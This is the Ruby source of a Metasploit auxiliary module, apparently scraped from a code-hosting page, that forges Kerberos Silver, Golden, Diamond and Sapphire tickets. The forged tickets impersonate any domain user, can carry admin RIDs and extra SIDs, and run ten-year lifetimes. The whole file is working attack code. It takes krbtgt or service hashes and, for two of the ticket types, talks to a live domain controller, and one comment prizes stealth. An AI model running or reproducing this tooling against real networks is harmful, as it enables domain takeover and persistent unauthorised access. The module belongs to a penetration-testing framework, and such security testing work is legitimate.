Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/kerberos/forge_ticket.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Kerberos::Client8include Msf::Exploit::Remote::Kerberos::Ticket910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging',15'Description' => %q{16This module forges a Kerberos ticket. Four different techniques can be used:17- Silver ticket: Using a service account hash, craft a ticket impersonating any user and privileges to that account.18- Golden ticket: Using the krbtgt hash, craft a ticket impersonating any user and privileges.19- Diamond ticket: Authenticate to the domain controller, and using the krbtgt hash, copy the PAC from the authenticated user to a forged ticket.20- Sapphire ticket: Use the S4U2Self+U2U trick to retrieve the PAC of another user, then use the krbtgt hash to craft a forged ticket.21},22'Author' => [23'Benjamin Delpy', # Original Implementation24'Dean Welch', # Metasploit Module25'alanfoster', # Enhancements26'smashery' # Enhancements27],28'References' => [29%w[URL https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it]30],31'License' => MSF_LICENSE,32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [IOC_IN_LOGS],35'Reliability' => [],36'AKA' => ['Ticketer', 'Klist']37},38'Actions' => [39['FORGE_SILVER', { 'Description' => 'Forge a Silver Ticket' } ],40['FORGE_GOLDEN', { 'Description' => 'Forge a Golden Ticket' } ],41['FORGE_DIAMOND', { 'Description' => 'Forge a Diamond Ticket' } ],42['FORGE_SAPPHIRE', { 'Description' => 'Forge a Sapphire Ticket' } ],43],44'DefaultAction' => 'FORGE_SILVER'45)46)4748based_on_real_ticket_condition = ['ACTION', 'in', %w[FORGE_DIAMOND FORGE_SAPPHIRE]]49forged_manually_condition = ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN]]5051register_options(52[53OptString.new('USER', [ true, 'The Domain User to forge the ticket for' ]),54OptInt.new('USER_RID', [ true, "The Domain User's relative identifier (RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID], conditions: ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN FORGE_DIAMOND]]),55OptString.new('NTHASH', [ false, 'The krbtgt/service nthash' ]),56OptString.new('AES_KEY', [ false, 'The krbtgt/service AES key' ]),57OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),58OptString.new('DOMAIN_SID', [ false, 'The Domain SID, Ex: S-1-5-21-1755879683-3641577184-3486455962'], conditions: forged_manually_condition),59OptString.new('EXTRA_SIDS', [ false, 'Extra sids separated by commas, Ex: S-1-5-21-1755879683-3641577184-3486455962-519']),60OptString.new('SPN', [ false, 'The Service Principal Name (Only used for silver ticket)'], conditions: %w[ACTION == FORGE_SILVER]),61OptInt.new('DURATION', [ false, 'Duration of the ticket in days', 3650], conditions: forged_manually_condition),62OptString.new('REQUEST_USER', [false, 'The user to request a ticket for, to base the forged ticket on'], conditions: based_on_real_ticket_condition),63OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition),64OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition),65OptInt.new('RPORT', [false, "The KDC server's port", 88 ], conditions: based_on_real_ticket_condition),66OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition),67]68)6970register_advanced_options(71[72OptString.new('SessionKey', [ false, 'The session key, if not set - one will be generated' ], conditions: forged_manually_condition),73OptBool.new('IncludeTicketChecksum', [ false, 'Adds the Ticket Checksum to the PAC', false], conditions: forged_manually_condition)74]75)76end7778SECS_IN_DAY = 60 * 60 * 247980def run81case action.name82when 'FORGE_SILVER'83forge_silver84when 'FORGE_GOLDEN'85forge_golden86when 'FORGE_DIAMOND'87forge_diamond88when 'FORGE_SAPPHIRE'89forge_sapphire90else91fail_with(Msf::Module::Failure::BadConfig, "Invalid action #{action.name}")92end93end9495private9697def forge_ccache(sname:, flags:, is_golden:)98enc_key, enc_type = get_enc_key_and_type99100start_time = Time.now.utc101end_time = start_time + SECS_IN_DAY * datastore['DURATION']102103ccache = forge_ticket(104enc_key: enc_key,105enc_type: enc_type,106start_time: start_time,107end_time: end_time,108sname: sname,109flags: flags,110domain: datastore['DOMAIN'],111username: datastore['USER'],112user_id: datastore['USER_RID'],113domain_sid: datastore['DOMAIN_SID'],114extra_sids: extra_sids,115session_key: datastore['SessionKey'].blank? ? nil : datastore['SessionKey'].strip,116ticket_checksum: datastore['IncludeTicketChecksum'],117is_golden: is_golden118)119120Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, framework_module: self)121122if datastore['VERBOSE']123print_ccache_contents(ccache, key: enc_key)124end125end126127def forge_silver128validate_spn!129validate_sid!130validate_key!131sname = datastore['SPN'].split('/', 2)132flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgs_flags)133forge_ccache(sname: sname, flags: flags, is_golden: false)134end135136def forge_golden137validate_sid!138validate_key!139sname = ['krbtgt', datastore['DOMAIN'].upcase]140flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags)141forge_ccache(sname: sname, flags: flags, is_golden: true)142end143144def forge_diamond145validate_remote146validate_aes256_key!147148begin149domain = datastore['DOMAIN']150options = {151server_name: "krbtgt/#{domain}",152client_name: datastore['REQUEST_USER'],153password: datastore['REQUEST_PASSWORD'],154realm: domain155}156enc_key, enc_type = get_enc_key_and_type157include_crypto_params(options, enc_key, enc_type)158159tgt_result = send_request_tgt(**options)160rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e161fail_with(Msf::Exploit::Failure::UnexpectedReply, "Requesting TGT failed: #{e.message}")162rescue Rex::HostUnreachable => e163fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}")164end165166if tgt_result.krb_enc_key[:enctype] != enc_type167fail_with(Msf::Exploit::Failure::UnexpectedReply, "Response has incorrect encryption type (#{tgt_result.krb_enc_key[:enctype]})")168end169170begin171ticket = modify_ticket(tgt_result.as_rep.ticket, tgt_result.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false)172rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError173fail_with(Msf::Exploit::Failure::BadConfig, 'Failed to modify ticket. krbtgt key is likely incorrect')174end175Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])176177if datastore['VERBOSE']178print_ccache_contents(ticket, key: enc_key)179end180end181182def forge_sapphire183validate_remote184validate_key!185options = {}186enc_key, enc_type = get_enc_key_and_type187include_crypto_params(options, enc_key, enc_type)188189begin190auth_context = kerberos_authenticator.authenticate_via_kdc(options)191rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e192fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error authenticating to KDC: #{e}")193rescue Rex::HostUnreachable => e194fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}")195end196credential = auth_context[:credential]197198print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}")199200session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(201type: credential.keyblock.enctype.value,202value: credential.keyblock.data.value203)204205begin206tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER'])207rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e208fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error executing S4U2Self+U2U: #{e}")209rescue Rex::HostUnreachable => e210fail_with(Msf::Exploit::Failure::Unreachable, "Error executing S4U2Self+U2U: #{e.message}")211end212# Don't pass a user RID in: we'll retrieve it from the decrypted PAC213ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], nil, datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true)214Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])215216if datastore['VERBOSE']217print_ccache_contents(ticket, key: enc_key)218end219end220221def validate_remote222if datastore['RHOSTS'].blank?223fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify RHOSTS for sapphire and diamond tickets')224elsif datastore['REQUEST_USER'].blank?225fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify REQUEST_USER for sapphire and diamond tickets')226end227end228229def kerberos_authenticator230options = {231host: datastore['RHOST'],232realm: datastore['DOMAIN'],233timeout: datastore['TIMEOUT'],234username: datastore['REQUEST_USER'],235password: datastore['REQUEST_PASSWORD'],236framework: framework,237framework_module: self,238ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::None.new239}240241Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)242end243244def include_crypto_params(options, enc_key, enc_type)245options[:key] = enc_key246if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256247# This should be the server's preferred encryption type, so we can just248# send our default types, expecting that to be selected. More stealthy this way.249options[:offered_etypes] = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes250else251options[:offered_etypes] = [enc_type]252end253end254255def get_enc_key_and_type256enc_type = nil257key = nil258if datastore['NTHASH']259enc_type = Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC260key = datastore['NTHASH']261elsif datastore['AES_KEY']262key = datastore['AES_KEY']263if datastore['AES_KEY'].size == 64264enc_type = Rex::Proto::Kerberos::Crypto::Encryption::AES256265else266enc_type = Rex::Proto::Kerberos::Crypto::Encryption::AES128267end268end269270enc_key = key.nil? ? nil : [key].pack('H*')271[enc_key, enc_type]272end273274def validate_spn!275unless datastore['SPN'] =~ %r{.*/.*}276fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid SPN, must be in the format <service class>/<host><realm>:<port>/<service name>. Ex: cifs/host.realm.local')277end278end279280def validate_sid!281unless datastore['DOMAIN_SID'] =~ /^S-1-[0-59]-\d{2}/282fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid DOMAIN_SID. Ex: S-1-5-21-1266190811-2419310613-1856291569')283end284end285286def validate_aes256_key!287unless datastore['NTHASH'].blank?288fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (NTHASH is currently set)')289end290291if datastore['AES_KEY'].blank?292fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets')293end294295if datastore['AES_KEY'].size == 32296fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (currently set to an AES128 key)')297end298299if datastore['AES_KEY'].size != 64300fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (incorrect length)')301end302end303304def validate_key!305if datastore['NTHASH'].blank? && datastore['AES_KEY'].blank?306fail_with(Msf::Exploit::Failure::BadConfig, 'NTHASH or AES_KEY must be set for forging a ticket')307elsif datastore['NTHASH'].present? && datastore['AES_KEY'].present?308fail_with(Msf::Exploit::Failure::BadConfig, 'NTHASH and AES_KEY may not both be set for forging a ticket')309end310311if datastore['NTHASH'].present? && datastore['NTHASH'].size != 32312fail_with(Msf::Exploit::Failure::BadConfig, "NTHASH length was #{datastore['NTHASH'].size} should be 32")313end314315if datastore['AES_KEY'].present? && (datastore['AES_KEY'].size != 32 && datastore['AES_KEY'].size != 64)316fail_with(Msf::Exploit::Failure::BadConfig, "AES key length was #{datastore['AES_KEY'].size} should be 32 or 64")317end318319if datastore['NTHASH'].present?320print_warning('Warning: newer Windows systems may not accept tickets encrypted with RC4_HMAC (NT hash). Consider using AES.')321end322end323324def extra_sids325(datastore['EXTRA_SIDS'] || '').split(',').map(&:strip).reject(&:blank?)326end327end328329330